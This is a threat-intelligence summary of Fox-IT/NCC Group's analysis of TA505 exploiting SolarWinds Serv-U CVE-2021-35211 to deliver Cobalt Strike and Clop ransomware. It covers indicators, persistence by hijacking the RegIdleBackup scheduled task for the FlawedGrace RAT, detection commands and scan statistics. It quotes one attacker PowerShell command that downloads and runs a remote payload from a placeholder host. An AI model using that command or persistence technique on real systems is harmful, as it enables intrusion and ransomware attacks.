NCC Group's Fox-IT published an analysis on Fox-IT (NCC Group) documenting TA505's exploitation of CVE-2021-35211 — a vulnerability in SolarWinds Serv-U Managed File Transfer and Serv-U Secure FTP — as an initial access vector distinct from the group's historical phishing-based approach. The campaign was identified through multiple incident response investigations where a surge in Clop ransomware victims was traced back to this specific exploitation path, marking a significant TTP shift for TA505.
CVE-2021-35211 Exploitation: Serv-U Subprocess Spawn to Base64 PowerShell and Cobalt Strike
Successful exploitation of CVE-2021-35211 (patched in SolarWinds Serv-U version 15.2.3 HF2) causes Serv-U to spawn a subprocess controlled by the adversary, enabling arbitrary command execution. In all investigated incidents, exploitation was confirmed by exceptions in DebugSocketlog.txt matching EXCEPTION: C0000005; CSUSSHSocket::ProcessReceive();. Shortly after these exceptions, Base64-encoded PowerShell commands were executed — specifically: powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('hxxp://IP:PORT/a')) — deploying Cobalt Strike Beacons on the compromised Serv-U host. Note: CVE-2021-35211 was previously reported by Microsoft as exploited by Chinese actor DEV-0322; NCC Group confirmed TA505 as a completely separate threat actor also exploiting the same vulnerability.
RegIdleBackup Scheduled Task COM Handler Hijacking for FlawedGrace RAT Persistence
For persistence, TA505 abused the legitimate Windows scheduled task RegIdleBackup (stored in \Microsoft\Windows\Registry\, normally runs with CLSID {CA767AA8-9157-4604-B64B-40747123D5F2} to back up registry hives) by replacing the COM handler CLSID with a malicious CLSID. The substituted CLSID registered in HKLM\SOFTWARE\Classes\CLSID\ contained a chain redirecting to a second CLSID with three registry objects holding Base64-encoded strings that decode to the FlawedGrace RAT loader. Detection uses: Export-ScheduledTask -TaskName "RegIdleBackup" -TaskPath "\Microsoft\Windows\Registry\" | Select-String -NotMatch "<ClassId>{CA767AA8-9157-4604-B64B-40747123D5F2}</ClassId>" to identify altered tasks, followed by Get-ChildItem -Path 'HKLM:\SOFTWARE\Classes\CLSID\{SUSPICIOUS_CLSID}' to check for Base64-encoded payload objects.
Vulnerable Serv-U Exposure: 5,945 Servers in July 2021, Still 2,784 Unpatched by October
NCC Group's internet scan in July 2021 — following Microsoft's CVE-2021-35211 disclosure — identified 5,945 Serv-U (S)FTP services on port 22 as potentially vulnerable (~94% of all identified instances). By October 2021, three months after SolarWinds released the patch, 2,784 servers (66.5%) remained unpatched and internet-accessible, representing a large persistent attack surface. Detection guidance prioritizes: checking Serv-U version against the patched release, examining DebugSocketlog.txt for the ProcessReceive exception, reviewing Windows Event ID 4104 for proximate suspicious PowerShell commands, and verifying RegIdleBackup task CLSID integrity.